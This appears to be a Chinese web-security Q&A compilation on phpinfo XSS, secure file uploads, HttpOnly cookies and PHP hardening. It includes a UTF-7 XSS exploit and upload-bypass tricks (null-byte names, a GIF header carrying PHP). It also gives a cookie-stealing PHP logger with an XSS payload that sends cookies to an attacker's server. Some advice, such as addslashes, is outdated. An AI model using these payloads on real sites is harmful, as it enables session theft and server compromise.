本文目录一览：
- 1、什么是phpinfo xss跨站脚本攻击漏洞?
- 2、如何设计出一个安全的文件上传功能
- 3、如何HttpOnly的cookie与AJAX请求工作
- 4、请问PHP网站的后台如何查看其已有的安全措施或如何设计一些安全措施来提高安全
什么是phpinfo xss跨站脚本攻击漏洞?
php是一款被广泛使用的编程语言，可以被嵌套在html里用做web程序开发。phpinfo()是用来显示当前php环境的一个函数，许多站点和程序都会将phpinfo放在自己的站点上或者在程序里显示，但是phpinfo里存在一些安全问题，导致精心构造数据就可以产生一个跨站脚本漏洞，可以被用来进行攻击。
漏洞成因： phpinfo页面对输入的参数都做了详细的过滤，但是没有对输出的进行charset的指定，而在一些浏览器里如IE7里，你可以让它自动选择编码或者通过一个iframe页面给它指定编码，这样就可以饶过phpinfo的过滤而产生一个跨站脚本漏洞。
漏洞来源:
漏洞利用： 利用代码如下：
html
head
META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"
/head
body
iframe src=";+ADw-/SCRIPT+AD4-=1"
以上代码在IE7+php 5.2.6测试成功。phpinfo页面的xss甚至比其他页面更加危险，因为如果有phpinfo的存在，恶意攻击者可以利用phpinfo的输出bypass如httponly和一些基础认证。
漏洞影响： 影响所有版本的php和浏览器IE7
漏洞修补： 建议暂时删除站点的phpinfo页面避免被人利用。
如何设计出一个安全的文件上传功能
这两天我们的老朋友PDP在BlackHat 08上做了一个关于GIFAR的演讲。和往常一样，PDP的东西基本上都很猥琐，这个也是。主题是关于是如何把GIF或者 JPG文件和JAR文件捆绑在一起，然后欺骗服务器以为是GIF或JPG文件，结果却是在客户端的JVM中执行JAR的例子。
他还举了些欺骗的例子，比如在office2007中，doc文件实际上就是zip格式了，里面都是些xml，那么他把jar文件打包在zip文件里，再把后缀改成doc，来达到欺骗的目的。
在这里是客户端的问题，我想到的则是其他的问题，比如安全上传。
根据以往的经验看来，我们可能会设计如下文件上传的安全规则：
1. 文件上传的目录设置为不可执行
2. 判断文件类型
3. 单独设置文件服务器的域名
4. 改写文件名，文件路径不可预测
第一点规则是显而易见的，是为了减小执行动态语言脚本的风险。如果被成功上传了一个webshell，但是不能执行，还是能够起到深度防御的作用。
第二点，在判断文件类型的时候，我们一般要求使用白名单，而不是黑名单，因为黑名单可能会列不全，还可能会造成一些bypass的风险。
比如以前老版本的 FCKEditor就出过这种问题，只做了黑名单的控制，最后被bypass。
而apache有个特性，是解析第一个“ . ”后的文件后缀作为文件类型，比如 fvck.php.rar.rar.rar 会被apache当作 fvck.php解析。 我最近看了下php的手册，在安装文档里，针对这个问题，专门有一个指导：
15. Tell Apache to parse certain extensions as PHP. For example, lets have
Apache parse .php files as PHP. Instead of only using the Apache AddType
directive, we want to avoid potentially dangerous uploads and created
files such as exploit.php.jpg from being executed as PHP. Using this
example, you could have any extension(s) parse as PHP by simply adding
them. Well add .phtml to demonstrate.
FilesMatch .php$
SetHandler application/x-httpd-php
/FilesMatch
IIS6也有这种类似的特性，即在文件夹名字为 fvck.asp 时(fvck可替换为任意值)，该文件夹下任何文件都会被当作asp来执行，
至今似乎也未见到微软有把这个特性当作bug来fix的迹象。
所以如果不熟悉这些webserver的特性，你可能会觉得漏洞来的如此神奇：我明明做了充分限制，为什么还是被“做俯卧撑”了？
在判断文件类型的时候，大多数程序都是使用的采用检查文件后缀的方法，这里主要需要注意的hacking trick是某些检查函数是否会以0字节作为结束的判断，以前动网就出过类似的漏洞，上传 fvck.jpg%00.asp即可绕过文件类型检查。
我也见过只检查文件头部的，这种也很好欺骗，构造一个合法的gif文件头部，然后将webshell贴在后面，在后缀合法的情况下，一样能够被浏览器解析：
GIF89a ?
? phpinfo(); ?
比较高级一点的是做更多的文件格式检查，比如检查图片里像素的长宽等，然后再对图片做一次压缩，这样出来的图片基本都变形了，有啥webshell也被破坏了。
而检查文件格式时候一般会用到一些网上已经封装好的类，在扫描文件格式方面还是比较有优势的。但是在检查大文件的时候效率显然是一个需要考虑的问题，很多程序员出于效率原因可能不太会愿意选择这种方式。
但是今天从PDP的这个绑定文件的猥琐方法看来，详细检查文件格式的方法还是非常有必要的，因为攻击者的目标可能不光是服务器，还是客户端，如果要对客户端有所保证，就必须要详细检查文件格式，使之落在白名单中。
第三点，单独设置文件服务器域名，也是一种针对客户端的保护。这样可能会避免许多跨域的问题。如果发生了XSS，攻击者可能还需要突破跨域的限制才能进一步扩大战果。再比如如果被上传了crossdomain.xml，可能就会导致flash的跨域问题，这些都是实实在在的风险。
第四点，改写文件名，随机文件路径。这是把风险藏起来，现在基本上尽职一点的程序员都会这么设计，这也是最大程度减小风险的非常切实有效的手段。
需要注意的是构造随机文件名或路径的算法需要足够“随机”，而不要从比如cookie之类的地方直接取一段hash出来。比较好的做法是在server上用类似random()一类的函数来生成，相信程序员们这点意识还是有的，不再赘述了。
如何HttpOnly的cookie与AJAX请求工作
随着B/S的普及，我们平时上网都是依赖于http协议完成，而Http是无状态的，即同一个会话的连续两个请求互相不了解，他们由最新实例化的环境进行解析，除了应用本身可能已经存储在全局对象中的所有信息外，该环境不保存与会话有关的任何信息，http是不会为了下一次连接而维护这次连接所传输的信息的。所以为了在每次会话之间传递信息，就需要用到cookie和session，无论是什么，都是为了让服务器端获得一个token来检查合法性，很多时候都是在cookie中存储一个sessionID，服务器来识别该用户，那么安全隐患也就引申而出了，只要获得这个cookie，就可以取得别人的身份，特别是管理员等高级权限帐号时，危害就大了，而XSS就是在别人的应用程序中恶意执行一段JS以窃取用户的cookie。
那么如何获得Cookie劫持呢?在浏览器中的document对象中，就储存了Cookie的信息，而利用js可以把这里面的Cookie给取出来，只要得到这个Cookie就可以拥有别人的身份了。下面简单说说如何窃取cookie。
接收cookie的PHP文件ck.php为：
?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$time=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cookie.txt', 'a');
fwrite($fp, 'Cookie: '.$cookie.'br IP: ' .$ip. 'br Date and Time: ' .$time. 'br Referer: '.$referer.'brbrbr');
fclose($fp);
?
把这个文件放在自己的服务器上，比如我们搭建的服务器为： .
那么构造XSS语句：
scriptwindow.open(''+document.cookie)/script
当执行script成功时就会把cookie发送到自己的服务器下cookie.txt文件中。XSS攻击是多么可怕的事情。
说了这么多，貌似还没有提到HttpOnly，这是哪般？莫及！这就到了！如何保障我们的Cookie安全呢？Cookie都是通过document对象获取的，我们如果能让cookie在浏览器中不可见就可以了，那HttpOnly就是在设置cookie时接受这样一个参数，一旦被设置，在浏览器的document对象中就看不到cookie了。而浏览器在浏览网页的时候不受任何影响，因为Cookie会被放在浏览器头中发送出去(包括Ajax的时候)，应用程序也一般不会在JS里操作这些敏感Cookie的，对于一些敏感的Cookie我们采用HttpOnly，对于一些需要在应用程序中用JS操作的cookie我们就不予设置，这样就保障了Cookie信息的安全也保证了应用。
给浏览器设置Cookie的头如下：
Set-Cookie: =[; =]
[; expires=][; domain=]
[; path=][; secure][; HttpOnly]
如果 Cookie 具有 HttpOnly 特性且不能通过客户端脚本访问，则为 true；否则为 false。默认值为 false。
但是，也可以看到HttpOnly并不是万能的，首先它并不能解决XSS的问题，仍然不能抵制一些有耐心的黑客的攻击，甚至一些基于XSS的proxy也出现了，但是已经可以提高攻击的门槛了，起码XSS攻击不是每个脚本小子都能完成的了，而且其他的那些攻击手法因为一些环境和技术的限制，并不像Cookie窃取这种手法一样通用。
HttpOnly也是可能利用一些漏洞或者配置Bypass的，关键问题是只要能取到浏览器发送的Cookie头就可以了。譬如以前出现的Http Trace攻击就可以将你的Header里的Cookie回显出来，利用Ajax或者flash就可以完成这种攻击，这种手法也已经在Ajax和flash中获得修补。另外一个关于配置或者应用程序上可能Bypass的显著例子就是phpinfo，大家知道phpinfo会将浏览器发送的http头回显出来，其中就包括我们保护的auth信息，而这个页面经常存在在各种站点上，只要用ajax取phpinfo页面，取出header头对应的部分就可以获得Cookie了。一些应用程序的不完善也可能导致header头的泄露，这种攻击方式对于基本验证保护的页面一样可以攻击。
HttpOnly在IE 6以上，Firefox较新版本都得到了比较好的支持，并且在如Hotmail等应用程序里都有广泛的使用，并且已经是取得了比较好的安全效果。
那问题就来了，大家想想，HttpOnly 主要是为了限制web页面程序的browser端script程序读取cookie， 实际是浏览器通过协议实现限制的，黑客可不会那么傻，肯定不会用HTTP协议来读取cookie，肯定是在socket层面写抓包程序，相当于写一个低于IE6版本的应用程序。
所以，HttpOnly并不是万能的。
请问PHP网站的后台如何查看其已有的安全措施或如何设计一些安全措施来提高安全
查看已有的安全措施还真没什么好想法，最多看看php.ini是否开了magic_quote，safe_mode之类的（慎重开启）。还有各文件夹权限。一些比如doc_root,之类的apache设置php本身并不能查看。以及是否安装使用ssl。
至于安全措施那可太多了。简要说几点最实用的：
一些apache服务器安全配置我就不说了，网上很容易就能找出一堆，其实
在服务器管理主要有一个基本原则就是分好文件夹，能执行php的文件夹绝不给写入权，能写入的文件夹绝不能给php执行权。
数据库管理中严格规定好数据库用户的权限，通常安装好网站之后只给它某些表的delete，update，select，insert权限，但有些用视图和索引存储过程的表要注意放权。
在程序员能够控制的范围主要是防注入和xss，以及一些syetem，exec语句的防篡改。
对于sql注入，主要是对存入数据库的变量addslashes().（数据库是gbk编码时有漏洞）同时注意拼接字符串时候一定要给变量用单引号'围起来如select * from user where name='$name'
对于xss，主要是清除特殊标签和属性，或者完全去除html标签，通常用正则去掉特殊标签，用strip_tags全部去除html（不大实用，最好还是正则去除），还有就是替换"'成html编码。
对于system等shell防范：如果根本用不着这些危险的语句，管理员可以直接在php.ini 的disable_functions里添加名单，屏蔽掉，如果有使用，在接收外部语句的时候要使用escapeshellarg()来包围篡改语句。
当然这里只是抛砖引玉，具体更多，百度php安全防范，php安全编程